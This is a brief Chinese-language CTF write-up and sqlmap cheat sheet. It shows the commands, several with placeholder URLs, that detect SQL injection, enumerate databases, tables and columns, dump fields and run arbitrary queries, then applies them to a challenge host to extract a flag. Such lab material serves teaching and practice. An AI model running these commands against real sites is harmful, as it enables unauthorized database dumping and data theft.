常用命令:
1.检查注入点:
sqlmap -u “http://ooxx.com/a.php?=1” --dbs
2.指定数据库名列出所有表
sqlmap -u “http://ooxx.com?a.php?id=1” -D dbsname --tables
3.指定数据库名表名列出所有字段:
sqlmap -u “http://ooxx.com/a.php?id=1” -D dbname -T tablename --columns
4.指定数据库名表名字段dump出指定字段:
sqlmap -u “http://ooxx.com/a.php?id=1” -D dbname -T tablename -C columnname --dump
5.cookie注入:
–cookie=COOLIE
6.执行指定的SQL语句:
–sql-query=QUERY
7.注入代理:
–proxy=“http://127.0.0.1:8087”
原理:
先确定数据在哪个数据库=>再确定是数据库中的哪一张表=>确定表里分别有哪些字段=>最后根据字段来取出指定数据
检查注入点:
sqlmap -u “http://ooxx.com/a.php?id=1”
可以看到检查之后,确认此处是存在SQL注入漏洞的,因此可以进行进一步的利用。
列出数据库信息:
sqlmap -u “http://ooxx.com/a.php?=1” --dbs
得到两个数据库的名称。
列出数据表:
然后我们对其中一个数据库,进行后续的操作,列出数据库有那些表。
sqlmap -u “http://ooxx.com?a.php?id=1” -D dbsname --tables
得到数据库的表的名称,一个为book,一个为hacker。
列出字段:
再根据得到的表的名称,进而得到表中字段的名。
sqlmap -u “http://ooxx.com/a.php?id=1” -D dbname -T tablename --columns
这里选取表“hacker”,得到的字段名为diary 和id,
爆破字段:根据题目给出的内容,得到爆破字段应该是diary。
sqlmap -u “http://ooxx.com/a.php?id=1” -D dbname -T tablename -C columnname --dump
得到相关的爆破字段,但是发现还是没有flag。
相同的原理再将另一个表的字段爆破。
sqlmap -u “https://rimovni.exeye.run/kanwaki/diary?id=1” -D twosecu1_vuln_02 -T hacker -C diary --dump
最终得到flag。two{XhacKer_d1aryX}
实例:
ATTENTION!!!